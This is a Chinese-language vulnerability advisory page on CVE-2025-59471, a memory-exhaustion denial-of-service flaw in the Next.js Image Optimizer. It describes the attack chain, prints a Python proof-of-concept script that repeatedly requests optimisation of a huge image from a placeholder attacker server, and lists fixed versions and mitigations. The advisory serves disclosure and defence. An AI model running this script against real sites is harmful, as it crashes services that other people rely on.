IPBUF安全漏洞报告
English
CVE-2025-59471 CVSS 5.9 中危

CVE-2025-59471 Next.js Image Optimizer 拒绝服务漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2025-59471
漏洞类型
拒绝服务 (DoS)
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js (self-hosted)

相关标签

拒绝服务DoSNext.jsImage Optimizer内存耗尽OOMremotePatternsCVE-2025-59471GHSA-9g9p-9gw9-jx7fWeb安全

漏洞概述

CVE-2025-59471是Next.js框架中一个中等严重程度的拒绝服务漏洞。该漏洞存在于自托管Next.js应用的Image Optimizer(图片优化组件)中,当应用配置了remotePatterns以允许从外部域名加载图片时,攻击者可以利用此漏洞通过请求优化任意大型外部图片,使服务器内存被耗尽,从而导致应用崩溃或服务不可用。漏洞的CVSS评分为5.9(中等),攻击复杂度低,无需认证和用户交互即可发起攻击。该漏洞影响所有在Next.js中配置了remotePatterns且启用了图片优化端点(/_next/image)的自托管部署实例。漏洞已被官方确认为GHSA-9g9p-9gw9-jx7f,强烈建议受影响的用户升级至15.5.10或16.1.5版本以消除风险。

技术细节

Next.js的Image Optimizer组件通过/_next/image端点提供图片优化服务。当开发者配置了remotePatterns以允许从外部域名获取图片时,该端点会从远程URL下载原始图片进行处理和优化。问题在于,该端点在将外部图片加载到内存中进行处理时,并未对图片大小设置上限或进行有效限制。攻击者只需在已授权的外部域名上托管一个超大图片文件(如数GB的巨型图片),然后构造针对/_next/image端点的请求,传递该超大图片的URL作为参数。由于图片会被完整加载至服务器内存中,多次或并发的此类请求将迅速耗尽服务器内存资源,导致Out-Of-Memory(OOM)错误,进而引发Next.js应用进程崩溃,造成服务中断。此漏洞的利用前提是remotePatterns配置允许攻击者控制的域名,且目标服务器具有足够的网络访问能力去拉取外部图片。修复后的版本(15.5.10和16.1.5)在图片加载流程中引入了最大尺寸限制,从而防止无限制的内存消耗。

攻击链分析

STEP 1
步骤1 - 信息收集
攻击者识别目标Next.js应用,确认其启用了/_next/image图片优化端点,并检查next.config.js中的remotePatterns配置,确定哪些外部域名被允许加载图片。
STEP 2
步骤2 - 准备大图片
攻击者在remotePatterns允许的域名上托管一个超大图片文件(可以是数GB甚至更大的图片),或将目标引向已有的超大图片资源。
STEP 3
步骤3 - 构造恶意请求
攻击者构造针对/_next/image端点的HTTP GET请求,通过url参数传递超大图片的URL,并设置w和q等优化参数。
STEP 4
步骤4 - 触发内存耗尽
Next.js的Image Optimizer从远程URL下载图片并完整加载到内存中进行处理,由于没有大小限制,单个请求即可消耗大量内存。
STEP 5
步骤5 - 拒绝服务
通过并发或重复发送多个此类请求,服务器内存被完全耗尽(OOM),Next.js应用进程崩溃,导致网站不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-59471 PoC - Next.js Image Optimizer DoS via Large External Image This PoC demonstrates how an attacker can trigger OOM conditions by requesting Next.js to optimize an arbitrarily large external image through the /_next/image endpoint. Prerequisites: - Next.js app has remotePatterns configured to allow the attacker's domain - The attacker can host/serve a large image file on an allowed domain Usage: 1. Host a large image file on an allowed domain (e.g., attacker.com/large.jpg) 2. Run this script to send optimization requests """ import requests import sys import time import argparse def generate_large_image_url(base_url, width=800): """Generate the /_next/image optimization URL for a large external image.""" # Replace this with an actual large image URL allowed by remotePatterns large_image_url = "http://attacker-controlled-server/large_image.jpg" params = { "url": large_image_url, "w": str(width), "q": 80 } target = f"{base_url}/_next/image" return target, params def send_optimization_request(base_url, num_requests=5, delay=1): """ Send multiple /_next/image optimization requests to exhaust server memory. """ target, params = generate_large_image_url(base_url) print(f"[*] Target: {target}") print(f"[*] Image URL: {params['url']}") print(f"[*] Sending {num_requests} optimization requests...\n") for i in range(num_requests): try: print(f"[Request {i+1}/{num_requests}] Sending optimization request...") response = requests.get(target, params=params, timeout=30) print(f" Status: {response.status_code}") if response.status_code == 200: print(f" Response size: {len(response.content)} bytes") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") print("[*] Server may have crashed or run out of memory!") return time.sleep(delay) print("\n[+] Attack completed. Check server memory usage.") print("[*] If server memory was exhausted, the Next.js process may have crashed.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-59471 PoC") parser.add_argument("--url", default="http://localhost:3000", help="Target Next.js base URL") parser.add_argument("--requests", type=int, default=5, help="Number of requests to send") parser.add_argument("--delay", type=float, default=1.0, help="Delay between requests (seconds)") args = parser.parse_args() send_optimization_request(args.url, args.requests, args.delay)

影响范围

Next.js < 15.5.10 (15.x分支)
Next.js < 16.1.5 (16.x分支)
所有配置了remotePatterns的自托管Next.js部署实例

防御指南

临时缓解措施
立即升级Next.js至15.5.10或16.1.5版本,这是消除该漏洞的根本解决方案。在无法立即升级的情况下,可采取以下临时缓解措施:1)检查并收紧next.config.js中的remotePatterns配置,移除不必要或不可信的外部域名;2)在Web服务器层面(如Nginx)为/_next/image端点配置请求速率限制;3)通过cgroups或容器资源限制限制Next.js进程的内存使用;4)临时禁用remotePatterns功能,限制Image Optimizer仅处理本地图片;5)使用防火墙规则监控异常的内存消耗和大量图片请求。但以上措施均为临时缓解,不能替代版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表